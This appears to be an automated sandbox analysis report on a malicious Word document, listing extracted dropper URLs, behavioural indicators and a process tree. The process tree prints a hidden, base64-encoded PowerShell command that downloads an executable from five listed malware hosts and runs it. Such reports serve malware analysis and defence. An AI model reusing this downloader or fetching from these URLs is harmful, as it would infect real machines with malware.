Analysis
-
max time kernel
30s -
resource
win10v191014 -
submitted
27-01-2020 22:22
General
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://delhisexclinic.com/zds/jUzItNFoNN/
exe.dropper
https://lelangg.online/uydlcvg/xoZAiAes/
exe.dropper
https://usispf.org/wp-admin/vjWaya/
exe.dropper
https://www.sexylady.space/wp-admin/JM/
exe.dropper
https://www.metropolnet.gr/cgi-bin/eP1hbutDbo/
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 5040 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4724 3052 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4724 Powershell.exe -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
Powershell.exedescription pid process target process PID 4724 wrote to memory of 4460 4724 Powershell.exe 797.exe -
Executes dropped EXE 1 IoCs
Processes:
797.exepid process 4460 797.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Processes:
Powershell.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868 Powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308060a2b0601040182370a030406082b0601050507030606082b0601050507030753000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 19000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c03000000010000001400000002faf3e291435468607857694df5e45b688518681d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308060a2b0601040182370a030406082b0601050507030606082b060105050703070f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 Powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 5040 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4724 Powershell.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c0bffef212cdfa54e5d7057eebf7c6b3953c6f33edbffd58297bd1318528e435.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABBAGYAeQBvAGwAYgBtAG8AcgBsAGoAPQAnAEQAcAB6AGcAbABzAHMAbwBtAGsAaAB2AGgAJwA7ACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAIAA9ACAAJwA3ADkANwAnADsAJABYAG0AdwBuAGsAawB2AGQAZwBwAHYAPQAnAEsAegB2AGMAYgBsAHUAawB2AGQAbQBpACcAOwAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAKwAnAC4AZQB4AGUAJwA7ACQAVQByAHMAZABnAGYAeAB0AHkAbgB5AD0AJwBVAHYAegB2AHcAbwB1AGIAbABtAHMAZwAnADsAJABJAHYAeAByAHcAcABxAHcAZABhAGwAZAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQATABsAG8AYQBsAHoAcwBsAGQAcABxAG0AbAA9ACcAaAB0AHQAcABzADoALwAvAGQAZQBsAGgAaQBzAGUAeABjAGwAaQBuAGkAYwAuAGMAbwBtAC8AegBkAHMALwBqAFUAegBJAHQATgBGAG8ATgBOAC8AKgBoAHQAdABwAHMAOgAvAC8AbABlAGwAYQBuAGcAZwAuAG8AbgBsAGkAbgBlAC8AdQB5AGQAbABjAHYAZwAvAHgAbwBaAEEAaQBBAGUAcwAvACoAaAB0AHQAcABzADoALwAvAHUAcwBpAHMAcABmAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwB2AGoAVwBhAHkAYQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBlAHgAeQBsAGEAZAB5AC4AcwBwAGEAYwBlAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBNAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGUAdAByAG8AcABvAGwAbgBlAHQALgBnAHIALwBjAGcAaQAtAGIAaQBuAC8AZQBQADEAaABiAHUAdABEAGIAbwAvACcALgAiAHMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBjAGkAagBmAGoAdwBhAG0AbwBsAD0AJwBWAHIAYQBoAGUAbwB0AHoAcAB2AGgAcAB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACAAaQBuACAAJABMAGwAbwBhAGwAegBzAGwAZABwAHEAbQBsACkAewB0AHIAeQB7ACQASQB2AHgAcgB3AHAAcQB3AGQAYQBsAGQALgAiAGQATwB3AGAATgBsAE8AQQBEAEYAYABJAEwARQAiACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACwAIAAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQApADsAJABKAGUAegB4AHkAcwByAHEAcABkAD0AJwBXAHUAaQBsAGsAaABwAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQAuACIAbABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANwA4ADYANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgAFIAdAAiACgAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQA7ACQATwBzAHAAbgByAGcAYgB0AGsAPQAnAFEAaQBvAG8AcQBnAGUAYQBrAGUAJwA7AGIAcgBlAGEAawA7ACQAWABlAGcAawB4AGgAZQBoAGMAeQA9ACcARgBpAGUAegBqAG8AawBpAHoAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHcAcQBpAHUAagBhAGEAPQAnAFMAaQBrAHcAZQBsAGYAdgBoACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\797.exe"C:\Users\Admin\797.exe"2⤵
- Executes dropped EXE